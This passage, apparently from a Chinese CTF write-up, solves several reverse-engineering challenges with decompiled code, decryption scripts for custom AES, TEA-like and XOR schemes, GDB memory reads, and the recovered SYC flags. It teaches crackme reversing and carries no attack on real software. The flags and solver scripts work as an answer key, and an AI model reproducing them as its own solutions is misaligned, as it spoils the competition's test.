  else
  {
    puts(&byte_4070AB);
    return 1;
  }
}

可知核心加密在 sub_402B57(v5, v4, 32); 密文在byte_406020[j]中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl sub_402B57(_DWORD *a1, _DWORD *a2, unsigned int a3)
{
  int result; // eax
  int v4; // [esp+Ch] [ebp-24h]
  int v5; // [esp+10h] [ebp-20h]
  int v6; // [esp+14h] [ebp-1Ch]
  _DWORD *v7; // [esp+20h] [ebp-10h]
  unsigned int i; // [esp+24h] [ebp-Ch]

  v7 = a1 + 44;
  for ( i = 0; i < a3; i += 16 )
  {
    a216xora116(a2, v7);
    sub_402992(a2, a1);
    v7 = a2;
    a2 += 4;
  }
  v4 = v7[1];
  v5 = v7[2];
  v6 = v7[3];
  a1[44] = *v7;
  a1[45] = v4;
  a1[46] = v5;
  result = v6;
  a1[47] = v6;
  return result;
}

仔细查看加密函数,和其中调用的函数还有猜测是AES加密,不一样的是这个的AES

中的V5是程序生成的,需要动调获得。解密脚本如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python3
# decrypt_custom_aes.py
# Decrypt ciphertext produced by the provided C implementation (custom S-box + AES-like rounds + CBC).
# Usage: edit cipher_hex below or provide via input.

from typing import List

# ---------- GF(2^8) helpers (AES poly) ----------
def gf_mul(a: int, b: int) -> int:
    res = 0
    for _ in range(8):
        if b & 1:
            res ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1B
        b >>= 1
    return res

def xtime(x: int) -> int:
    return gf_mul(2, x)

# ---------- Reproduce the C S-box generation ----------
def rol8(x: int, n: int) -> int:
    return ((x << n) | (x >> (8 - n))) & 0xFF

def sub_401460(a1: int, a2: int) -> int:
    return rol8(a1, a2)

def sub_401496(a1: int, a2: int) -> int:
    return gf_mul(a1, a2)

def sub_4014F6(a1: int) -> int:
    if a1 == 0:
        return 0
    v3 = 1
    # C code loops i = 0..252 inclusive (253 multiplications)
    for _ in range(253):
        v3 = sub_401496(v3, a1)
    return v3

def sub_401546(a1: int) -> int:
    v1 = sub_401460(a1, 1)
    v1 = a1 ^ v1
    v2 = sub_401460(a1, 2) ^ v1
    v3 = sub_401460(a1, 3) ^ v2
    return v3 ^ sub_401460(a1, 4)

def build_sboxes():
    v3 = [0] * 257
    v2 = [0] * 256
    v3[256] = 0xA7
    for i in range(256):
        v5 = sub_4014F6(i)
        v4 = 0xA7 ^ sub_401546(v5)
        v3[i] = v4
        v2[v4] = i
    s_box = v3[:256]
    inv_s = [0] * 256
    for i, v in enumerate(s_box):
        inv_s[v] = i
    return s_box, inv_s

# ---------- Inverse transformations ----------
def inv_shift_rows(state: List[int]) -> List[int]:
    # inverse of the original C sub_401DB1 (reverse the cycles/swaps)
    # first 4-cycle (indices 1,5,9,13) was rotated in encryption; inverse:
    t = state[13]; state[13] = state[9]; state[9] = state[5]; state[5] = state[1]; state[1] = t
    # swaps (symmetric)
    state[2], state[10] = state[10], state[2]
    state[6], state[14] = state[14], state[6]
    # inverse of the other 4-cycle (3,15,11,7)
    t = state[7]; state[7] = state[11]; state[11] = state[15]; state[15] = state[3]; state[3] = t
    return state

def inv_sub_bytes(state: List[int], inv_sbox: List[int]) -> List[int]:
    return [inv_sbox[b] for b in state]

def add_round_key(state: List[int], v5: bytes, round: int) -> List[int]:
    st = state[:]  # copy
    for i in range(4):
        for j in range(4):
            key_byte = v5[16*round + 4*i + j]
            st[j + 4*i] ^= key_byte
    return st

def inv_mix_columns(state: List[int]) -> List[int]:
    # This custom mix was algebraically identical to standard AES MixColumns,
    # so we use the standard inverse matrix: [14,11,13,9] etc.
    out = state[:]
    for c in range(4):
        s0 = state[4*c + 0]; s1 = state[4*c + 1]; s2 = state[4*c + 2]; s3 = state[4*c + 3]
        out[4*c + 0] = gf_mul(s0, 14) ^ gf_mul(s1, 11) ^ gf_mul(s2, 13) ^ gf_mul(s3, 9)
        out[4*c + 1] = gf_mul(s0, 9)  ^ gf_mul(s1, 14) ^ gf_mul(s2, 11) ^ gf_mul(s3, 13)
        out[4*c + 2] = gf_mul(s0, 13) ^ gf_mul(s1, 9)  ^ gf_mul(s2, 14) ^ gf_mul(s3, 11)
        out[4*c + 3] = gf_mul(s0, 11) ^ gf_mul(s1, 13) ^ gf_mul(s2, 9)  ^ gf_mul(s3, 14)
    return out

def decrypt_block(block: bytes, v5: bytes, inv_sbox: List[int]) -> List[int]:
    state = list(block)
    # start with round 10
    state = add_round_key(state, v5, 10)
    state = inv_shift_rows(state)
    state = inv_sub_bytes(state, inv_sbox)
    for rnd in range(9, 0, -1):
        state = add_round_key(state, v5, rnd)
        state = inv_mix_columns(state)
        state = inv_shift_rows(state)
        state = inv_sub_bytes(state, inv_sbox)
    state = add_round_key(state, v5, 0)
    return state

# ---------- v5_data (the 192-byte array from the C program) ----------
v5_data = bytes([
    0x53,0x79,0x63,0x6C,0x6F,0x76,0x65,0x72,0x32,0x30,0x32,0x35,0x47,0x65,0x65,0x6B,
    0x60,0x4B,0xB4,0x06,0x0F,0x3D,0xD1,0x74,0x3D,0x0D,0xE3,0x41,0x7A,0x68,0x86,0x2A,
    0xB1,0x96,0x44,0x84,0xBE,0xAB,0x95,0xF0,0x83,0xA6,0x76,0xB1,0xF9,0xCE,0xF0,0x9B,
    0x3C,0x08,0x9C,0x85,0x82,0xA3,0x09,0x75,0x01,0x05,0x7F,0xC4,0xF8,0xCB,0x8F,0x5F,
    0x62,0x46,0x81,0x2E,0xE0,0xE5,0x88,0x5B,0xE1,0xE0,0xF7,0x9F,0x19,0x2B,0x78,0xC0,
    0x13,0x5C,0x82,0x54,0xF3,0xB9,0x0A,0x0F,0x12,0x59,0xFD,0x90,0x0B,0x72,0x85,0x50,
    0x96,0xA5,0xA1,0xFE,0x65,0x1C,0xAB,0xF1,0x77,0x45,0x56,0x61,0x7C,0x37,0xD3,0x31,
    0xB8,0x74,0x5D,0x5E,0xDD,0x68,0xF6,0xAF,0xAA,0x2D,0xA0,0xCE,0xD6,0x1A,0x73,0xFF,
    0x33,0x85,0xE4,0x28,0xEE,0xED,0x12,0x87,0x44,0xC0,0xB2,0x49,0x92,0xDA,0xC1,0xB6,
    0x73,0x45,0xB9,0x7B,0x9D,0xA8,0xAB,0xFC,0xD9,0x68,0x19,0xB5,0x4B,0xB2,0xD8,0x03,
    0x9F,0x83,0x16,0x97,0x02,0x2B,0xBD,0x6B,0xDB,0x43,0xA4,0xDE,0x90,0xF1,0x7C,0xDD,
    0x31,0x31,0x34,0x35,0x31,0x34,0x31,0x31,0x34,0x35,0x31,0x34,0x34,0x33,0x33,0x32
])

# ---------- Example: decrypt user-provided hex ----------
# replace or input cipher_hex as needed
cipher_hex = input("输入密文 hex(无空格):").strip()
cipher = bytes.fromhex(cipher_hex)

# prepare sboxes
sbox, inv_sbox = build_sboxes()

# CBC decrypt
iv = list(v5_data[176:192])
blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
if len(cipher) % 16 != 0:
    raise SystemExit("密文长度必须为 16 的倍数")

plaintext = bytearray()
prev = iv
for blk in blocks:
    dec_state = decrypt_block(blk, v5_data, inv_sbox)  # list of 16 bytes
    plain_blk = bytes([dec_state[i] ^ prev[i] for i in range(16)])
    plaintext.extend(plain_blk)
    prev = list(blk)

# 去 PKCS#7 填充(若合法)
pad = plaintext[-1]
if 1 <= pad <= 16 and plaintext[-pad:] == bytes([pad])*pad:
    plaintext = plaintext[:-pad]

print("解密明文(ASCII):", plaintext.decode('latin-1'))

输入密文 hex(无空格):B2B3DCB9F8D693FFB5A1CC2A6FDE2744AF2198DD00C10D1C5306813E16ABDF13 解密明文(ASCII): We_ve_Trapped_in_The_Sink

现在已经获得了密码解密压缩包可得一个音频文件

打开听一下发现声音十分刺耳大概率是SSTV

转成图片是babe905a-4ae8-40d3-af41-c5189f360145

扫描后是一个网盘文件,下载后是一个压缩包,好像是一个伪加密,改一下二进制文件,解压之后就是标准的摩斯电码了最后结果SYC{7h15_1S_4_9r4nD_c0N5p1r@cY.}

9.QYQSの奇妙冒险2

直接反编译之后看data就可以直接找到SYC{M@y_bE_y0u_F1nd?}

10.stack_bomb

这题如果加密不熟悉但有耐心的话,可以动调一行一行看汇编干了什么,我就是这么做的有点肝不推荐

加密过程的手记:

后四小端序拼接整数左移4加1 =a—>var_6c

后四小端序拼接整数+9*i后000000 =b

a^b=c —->var_6c

(var_18小端序拼接整数左移4加1)^(var_18小端序拼接整数+9*i后000000) —->var_6c

(var_18拼接整数左移5位再加2)^var_6c=e

e+var_c小端拼接整数 —->var_c

var_c左移4+3—->var_6c

(var_c+9*i后000000)^var_6c——->var_6c

(var_c右移5(省略前导零后的简化写法)+4 )^var_6c+var_18小端整数—–>var_18

var_18(第一次为后四位)

var_c(第一次为前四位)

建议写个代码复现一下,对了在解密。

解密脚本如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <cstdlib>

// 辅助函数:4字节数组按小端序转换为32位整数
uint32_t bytes_to_uint32_le(const uint8_t* bytes) {
    return (uint32_t)bytes[0]        |
           (uint32_t)bytes[1] << 8   |
           (uint32_t)bytes[2] << 16  |
           (uint32_t)bytes[3] << 24;
}

// 辅助函数:32位整数按小端序转换为4字节数组
void uint32_to_bytes_le(uint32_t val, uint8_t* bytes) {
    bytes[0] = (uint8_t)(val & 0xFF);
    bytes[1] = (uint8_t)((val >> 8) & 0xFF);
    bytes[2] = (uint8_t)((val >> 16) & 0xFF);
    bytes[3] = (uint8_t)((val >> 24) & 0xFF);
}

// 加密函数
void encrypt_32_rounds(uint8_t* var_c_bytes, uint8_t* var_18_bytes) {
    uint32_t var_c = bytes_to_uint32_le(var_c_bytes);  // 前四个字节
    uint32_t var_18 = bytes_to_uint32_le(var_18_bytes); // 后四个字节
    uint32_t var_6c;
    uint32_t e;

    for (int i = 1; i <= 32; i++) {
        // 第1步:计算var_6c
        uint32_t temp1 = (var_18 << 4) + 1;
        uint32_t temp2 = (var_18 + ((9 * i) << 24));
        var_6c = temp1 ^ temp2;
     
        // 第2步:计算e
        e = ((var_18 >> 5) + 2) ^ var_6c;
      
        // 第3步:更新var_c
        var_c = e + var_c;

        // 第4步:更新var_6c
        var_6c = (var_c << 4) + 3;

        // 第5步:再次更新var_6c
        uint32_t temp3 = (var_c + (9 * i << 24));
        var_6c = temp3 ^ var_6c;

        // 第6步:更新var_18
        uint32_t shr5 = var_c >> 5;
        var_18 = ((shr5 + 4) ^ var_6c) + var_18;
    }

    uint32_to_bytes_le(var_c, var_c_bytes);   // 加密后的前四个字节
    uint32_to_bytes_le(var_18, var_18_bytes); // 加密后的后四个字节
}

// 解密函数
void decrypt_32_rounds(uint8_t* var_c_bytes, uint8_t* var_18_bytes) {
    uint32_t var_c = bytes_to_uint32_le(var_c_bytes);  // 加密后的前四个字节
    uint32_t var_18 = bytes_to_uint32_le(var_18_bytes); // 加密后的后四个字节
    uint32_t var_6c;
    uint32_t e;

    // 逆向32次循环,从32到1
    for (int i = 32; i >= 1; i--) {
        // 保存当前值
        uint32_t prev_var_c = var_c;
        uint32_t prev_var_18 = var_18;
        
        // 逆向步骤6:恢复var_18
        // 重新计算加密时的var_6c(步骤4-5)
        var_6c = (prev_var_c << 4) + 3;
        uint32_t temp3 = prev_var_c + (9 * i << 24);
        var_6c = temp3 ^ var_6c;
        
        uint32_t shr5 = prev_var_c >> 5;
        var_18 = prev_var_18 - (((shr5 + 4) ^ var_6c));
        
        // 逆向步骤3:恢复var_c
        // 重新计算加密时的e(步骤1-2)
        uint32_t temp1 = (var_18 << 4) + 1;
        uint32_t temp2 = var_18 + ((9 * i) << 24);
        var_6c = temp1 ^ temp2;
        e = ((var_18 >> 5) + 2) ^ var_6c;
        
        var_c = prev_var_c - e;
    }

    uint32_to_bytes_le(var_c, var_c_bytes);   // 解密后的前四个字节
    uint32_to_bytes_le(var_18, var_18_bytes); // 解密后的后四个字节
}

int main() {
    // 测试用例:验证加密和解密
    printf("=== 测试用例:验证加密和解密 ===\n");
    uint8_t test_var_c[4] = {0x73, 0x79, 0x63, 0x7B};   // 前四个字节 "syc{" -> 0x7B637973
    uint8_t test_var_18[4] = {0x61, 0x62, 0x63, 0x64};  // 后四个字节 "abcd" -> 0x64636261
    
    printf("原始值:\n");
    printf("前四个字节: 0x%08X (", bytes_to_uint32_le(test_var_c));
    for(int i = 0; i < 4; i++) printf("%c", test_var_c[i]);
    printf(")\n");
    printf("后四个字节: 0x%08X (", bytes_to_uint32_le(test_var_18));
    for(int i = 0; i < 4; i++) printf("%c", test_var_18[i]);
    printf(")\n\n");
    
    // 加密
    uint8_t encrypted_var_c[4], encrypted_var_18[4];
    memcpy(encrypted_var_c, test_var_c, 4);
    memcpy(encrypted_var_18, test_var_18, 4);
    encrypt_32_rounds(encrypted_var_c, encrypted_var_18);
    
    printf("加密后:\n");
    printf("前四个字节: 0x%08X (字节序列: ", bytes_to_uint32_le(encrypted_var_c));
    for(int i = 0; i < 4; i++) printf("0x%02X ", encrypted_var_c[i]);
    printf(")\n");
    printf("后四个字节: 0x%08X (字节序列: ", bytes_to_uint32_le(encrypted_var_18));
    for(int i = 0; i < 4; i++) printf("0x%02X ", encrypted_var_18[i]);
    printf(")\n");
    
    printf("预期结果:\n");
    printf("前四个字节: 0x4CF8EE9B (字节序列: 0x9B 0xEE 0xF8 0x4C)\n");
    printf("后四个字节: 0xAB322F31 (字节序列: 0x31 0x2F 0x32 0xAB)\n\n");
    
    // 解密
    decrypt_32_rounds(encrypted_var_c, encrypted_var_18);
    
    printf("解密后:\n");
    printf("前四个字节: 0x%08X (", bytes_to_uint32_le(encrypted_var_c));
    for(int i = 0; i < 4; i++) printf("%c", encrypted_var_c[i]);
    printf(")\n");
    printf("后四个字节: 0x%08X (", bytes_to_uint32_le(encrypted_var_18));
    for(int i = 0; i < 4; i++) printf("%c", encrypted_var_18[i]);
    printf(")\n");
    
    if (memcmp(test_var_c, encrypted_var_c, 4) == 0 && 
        memcmp(test_var_18, encrypted_var_18, 4) == 0) {
        printf("测试用例:成功!\n");
    } else {
        printf("测试用例:失败!\n");
    }
    
    printf("\n");
    
    // 解密四组密文
    printf("=== 解密四组密文 ===\n");
    const char* encrypted_texts[4] = {
        "9A8C0C4BC412FF1C",  // 前四个字节=0x9A8C0C4B, 后四个字节=0x0C412FF1
        "BFC3A488B16C8FD0",  // 前四个字节=0x0BFC3A48, 后四个字节=0x80B16C8F
        "4136E3198835E4FF",  // 前四个字节=0x4136E319, 后四个字节=0x8835E4FF
        "118263A77C85D629"   // 前四个字节=0x118263A7, 后四个字节=0x7C85D629
    };
    
    for (int i = 0; i < 4; i++) {
        printf("第%d组密文: 0x%s\n", i + 1, encrypted_texts[i]);
        
        // 将64位密文拆分为两个32位整数
        uint32_t first, second;
        sscanf(encrypted_texts[i], "%8x%8x", &first, &second);
        
        // 前四个字节是var_c,后四个字节是var_18
        uint8_t first_bytes[4], second_bytes[4];
        uint32_to_bytes_le(first, first_bytes);   // var_c (前四个字节)
        uint32_to_bytes_le(second, second_bytes); // var_18 (后四个字节)
        
        printf("解析为: 前四个字节=0x%08X, 后四个字节=0x%08X\n", first, second);
        
        // 执行解密
        decrypt_32_rounds(first_bytes, second_bytes);
        
        // 将解密结果转换回整数
        uint32_t decrypted_first = bytes_to_uint32_le(first_bytes);   // 解密后的前四个字节
        uint32_t decrypted_second = bytes_to_uint32_le(second_bytes); // 解密后的后四个字节
        
        printf("解密后: 前四个字节=0x%08X, 后四个字节=0x%08X\n", decrypted_first, decrypted_second);
        
        // 转换为ASCII字符串
        uint8_t all_bytes[8];
        uint32_to_bytes_le(decrypted_first, all_bytes);    // 前四个字节
        uint32_to_bytes_le(decrypted_second, all_bytes + 4); // 后四个字节
        
        printf("完整明文: ");
        for (int j = 0; j < 8; j++) {
            if (all_bytes[j] >= 32 && all_bytes[j] <= 126) {
                printf("%c", all_bytes[j]);
            } else {
                printf("\\x%02X", (unsigned char)all_bytes[j]);
            }
        }
        printf("\n\n");
    }
    
    return 0;
}

运行完之后flag被拆成四块,拼接一下可得syc{QYQS_F1nD_Th3_@nswer_H3re~~}

11.ez_vm

这题可以黑盒

先动调出密文

1
2
3
x/gx 0x55555555a2a0 + 96
# 替换 base_ptr 为实际值,例如 base_ptr=0x000055555555b000,则命令为:
x/29bx 0x000055555555b000 + 256

得到

1
2
3
4
0x09, 0x03, 0x19, 0x21, 0x0d, 0x69, 0x6b, 0x39,
0x6a, 0x37, 0x69, 0x05, 0x2e, 0x6a, 0x05, 0x28,
0x69, 0x1a, 0x6b, 0x05, 0x28, 0x69, 0x2c, 0x3f,
0x28, 0x29, 0x3f, 0x7b, 0x27

然后看程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall sub_9e8f7a(__int64 a1)
{
  size_t n; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Please enter the input string: ");
  fgets(s, 100, stdin);
  n = strlen(s);
  if ( s[n - 1] == 10 )
    s[n - 1] = 0;
  n = strlen(s);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 768LL), (const void *)(*(_QWORD *)(a1 + 96) + 256LL), 0x1DuLL);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 512LL), s, n);
  dword_50AC = n;
  dword_50CC = 768;
  dword_5134 = 768;
  vm_load_program(a1, &xor_compare_program, 37LL);
  vm_run(a1);
  if ( *(_QWORD *)(a1 + 32) )
    puts("Success: Input matches processed string!");
  else
    puts("Failure: Input does not match.");
  return v4 - __readfsqword(0x28u);
}

其中有异或的字眼

可以先试试黑盒,已知flag的前四位是SYC{

已知了密文,黑盒解密如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

# 已知基础数据
target_data = [0x09, 0x03, 0x19, 0x21, 0x0d, 0x69, 0x6b, 0x39,
               0x6a, 0x37, 0x69, 0x05, 0x2e, 0x6a, 0x05, 0x28,
               0x69, 0x1a, 0x6b, 0x05, 0x28, 0x69, 0x2c, 0x3f,
               0x28, 0x29, 0x3f, 0x7b, 0x27]
flag_prefix = b"SYC{"  # 前4字节明文:S(0x53)、Y(0x59)、C(0x43)、{(0x7B)
valid_candidates = []  # 存储所有合理的解密结果


# 1. 类型1:2字节固定密钥异或(循环使用)
def crack_2byte_xor():
    # 前4字节明文:p0=0x53, p1=0x59, p2=0x43, p3=0x7B
    # 密钥循环:k0, k1, k0, k1 → 推导k0和k1
    p0, p1, p2, p3 = 0x53, 0x59, 0x43, 0x7B
    t0, t1, t2, t3 = target_data[0], target_data[1], target_data[2], target_data[3]
    
    # 推导密钥:k0 = p0 ^ t0 = p2 ^ t2;k1 = p1 ^ t1 = p3 ^ t3
    k0_candidate = p0 ^ t0
    if (p2 ^ t2) != k0_candidate:
        return  # 无符合条件的2字节密钥
    k1_candidate = p1 ^ t1
    if (p3 ^ t3) != k1_candidate:
        return
    
    # 验证完整解密结果
    key = [k0_candidate, k1_candidate]
    decrypt_result = []
    for i in range(len(target_data)):
        decrypt_byte = target_data[i] ^ key[i % 2]
        decrypt_result.append(decrypt_byte)
    decrypt_str = bytes(decrypt_result).decode('ascii', errors='ignore')
    
    # 过滤:含flag常见字符,且以SYC{开头、含}
    if decrypt_str.startswith("SYC{") and "}" in decrypt_str:
        valid_candidates.append(f"2字节密钥异或(key={hex(k0_candidate)},{hex(k1_candidate)}): {decrypt_str}")


# 2. 类型2:4字节固定密钥异或(循环使用)
def crack_4byte_xor():
    # 前4字节明文p0-p3,对应密文t0-t3 → 密钥k0=p0^t0, k1=p1^t1, k2=p2^t2, k3=p3^t3
    key = [flag_prefix[i] ^ target_data[i] for i in range(4)]
    # 解密完整数据(密钥循环使用)
    decrypt_result = []
    for i in range(len(target_data)):
        decrypt_byte = target_data[i] ^ key[i % 4]
        decrypt_result.append(decrypt_byte)
    decrypt_str = bytes(decrypt_result).decode('ascii', errors='ignore')
    if decrypt_str.startswith("SYC{") and "}" in decrypt_str:
        valid_candidates.append(f"4字节密钥异或(key={[hex(k) for k in key]}): {decrypt_str}")


# 3. 类型3:固定偏移异或(key = base + i,i为字节位置0-28)
def crack_offset_xor():
    # 前4字节推导base:p0 = t0 ^ (base+0) → base = p0 ^ t0;验证后续是否匹配
    base_candidate = flag_prefix[0] ^ target_data[0]
    # 验证前4字节是否符合:p[i] == t[i] ^ (base + i)
    valid_base = True
    for i in range(4):
        if flag_prefix[i] != (target_data[i] ^ (base_candidate + i)):
            valid_base = False
            break
    if not valid_base:
        return
    # 解密完整数据
    decrypt_result = []
    for i in range(len(target_data)):
        decrypt_byte = target_data[i] ^ (base_candidate + i)
        decrypt_result.append(decrypt_byte)
    decrypt_str = bytes(decrypt_result).decode('ascii', errors='ignore')
    if decrypt_str.startswith("SYC{") and "}" in decrypt_str:
        valid_candidates.append(f"固定偏移异或(base={hex(base_candidate)}): {decrypt_str}")


# 4. 类型4:单字节异或+移位(左移1位/右移1位,CTF高频)
def crack_xor_shift():
    # 尝试两种常见移位:异或后左移1位、异或后右移1位(基于前缀反推key)
    shift_types = [("左移1位", lambda x: x << 1), ("右移1位", lambda x: x >> 1)]
    for shift_name, shift_func in shift_types:
        # 推导key:p0 = shift_func(t0 ^ key) → key = t0 ^ unshift(p0)
        # 右移1位的逆操作:p0 << 1 或 (p0 << 1) | 1(但基于flag字符,优先p0<<1)
        if shift_name == "右移1位":
            unshift_p0 = flag_prefix[0] << 1
        else:  # 左移1位的逆操作:p0 >> 1
            unshift_p0 = flag_prefix[0] >> 1
        key_candidate = target_data[0] ^ unshift_p0
        # 验证前4字节是否符合
        valid_key = True
        decrypt_temp = []
        for i in range(4):
            t = target_data[i]
            xor_val = t ^ key_candidate
            shifted_val = shift_func(xor_val)
            if shifted_val != flag_prefix[i]:
                valid_key = False
                break
            decrypt_temp.append(xor_val)  # 原始异或后的值(移位前)
        if not valid_key:
            continue
        # 解密完整数据(取移位前的原始值,即flag明文)
        decrypt_result = []
        for i in range(len(target_data)):
            xor_val = target_data[i] ^ key_candidate
            decrypt_result.append(xor_val)
        decrypt_str = bytes(decrypt_result).decode('ascii', errors='ignore')
        if decrypt_str.startswith("SYC{") and "}" in decrypt_str:
            valid_candidates.append(f"单字节异或+{shift_name}(key={hex(key_candidate)}): {decrypt_str}")


# 执行所有破解类型
crack_2byte_xor()
crack_4byte_xor()
crack_offset_xor()
crack_xor_shift()

# 输出所有合理候选解
print("找到所有符合条件的潜在解(按加密类型分类):")
if valid_candidates:
    for idx, candidate in enumerate(valid_candidates, 1):
        print(f"\n{idx}. {candidate}")
else:
    print("\n未找到其他异或变种解,当前仅单字节异或(key=0x5A)符合前缀条件!")

运行结果

找到所有符合条件的潜在解(按加密类型分类):

  1. 2字节密钥异或(key=0x5a,0x5a): SYC{W31c0m3_t0_r3@1_r3verse!}
  2. 4字节密钥异或(key=[‘0x5a’, ‘0x5a’, ‘0x5a’, ‘0x5a’]): SYC{W31c0m3_t0_r3@1_r3verse!

注意多解,第一次单字节异或就出了一个

12.GeekBinder

这题可以不了解binder,直接看.so文件

可以找到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall attr_get_hidden_cipher(_QWORD *a1, _QWORD *a2)
{
  _QWORD *v3; // [rsp+18h] [rbp-18h]

  if ( !a1 || !a2 )
    return 0xFFFFFFFFLL;
  v3 = malloc(0x5BuLL);
  if ( !v3 )
    return 4294967294LL;
  *v3 = 0x7C725E7310263C34LL;
  v3[1] = 0x5D666F5505541F1ELL;
  v3[2] = 0x4601535D19153A54LL;
  v3[3] = 0x4266037034165614LL;
  v3[4] = 0x505E5974340B0002LL;
  v3[5] = 0x5B5D536D18543A54LL;
  v3[6] = 0x5A666F4B19251713LL;
  v3[7] = 0x6A5E705F19550B38LL;
  v3[8] = 0x651594608251717LL;
  v3[9] = 0x506D5560340B5438LL;
  v3[10] = 0x440555705540209LL;
  *((_WORD *)v3 + 44) = 521;
  *((_BYTE *)v3 + 90) = 24;
  *a1 = v3;
  *a2 = 91LL;
  return 0LL;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
unsigned __int64 __fastcall sub_1119(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+20h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(a3 + i) = *(_BYTE *)(a1 + i) ^ aGeek2025[i % 8];
  }
  return result;
}

一眼异或,注意密文复原的时候后两句的小坑

解密脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
char a[91]={0x34,0x3C,0x26,0x10,0x73,0x5E,0x72,0x7C,
0x1E,0x1F,0x54,0x05,0x55,0x6F,0x66,0x5D,
0x54,0x3A,0x15,0x19,0x5D,0x53,0x01,0x46,
0x14,0x56,0x16,0x34,0x70,0x03,0x66,0x42,
0x02,0x00,0x0B,0x34,0x74,0x59,0x5E,0x50,
0x54,0x3A,0x54,0x18,0x6D,0x53,0x5D,0x5B,
0x13,0x17,0x25,0x19,0x4B,0x6F,0x66,0x5A,
0x38,0x0B,0x55,0x19,0x5F,0x70,0x5E,0x6A,
0x17,0x17,0x25,0x08,0x46,0x59,0x51,0x06,
0x38,0x54,0x0B,0x34,0x60,0x55,0x6D,0x50,
0x09,0x02,0x54,0x05,0x57,0x55,0x40,0x04,
0x09,0x02,0x18};
char key[9]={"geek2025"};
int main()
{
	for(int i=0;i<91;i++)
	{
		printf("%c",a[i]^key[i%8]);
	}
	return 0;
}

结果SYC{An@Iyz1ng_Th3_proc3ss3s_B3Tween_File3_1s_contr@ry_To_n0rm@l_pr@ctic3_1n_Re_eng1neer1ng}

13.国产の光

把.hap文件改为.zip解压之后在ets中找到.abc文件,反编译一下找到如下代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
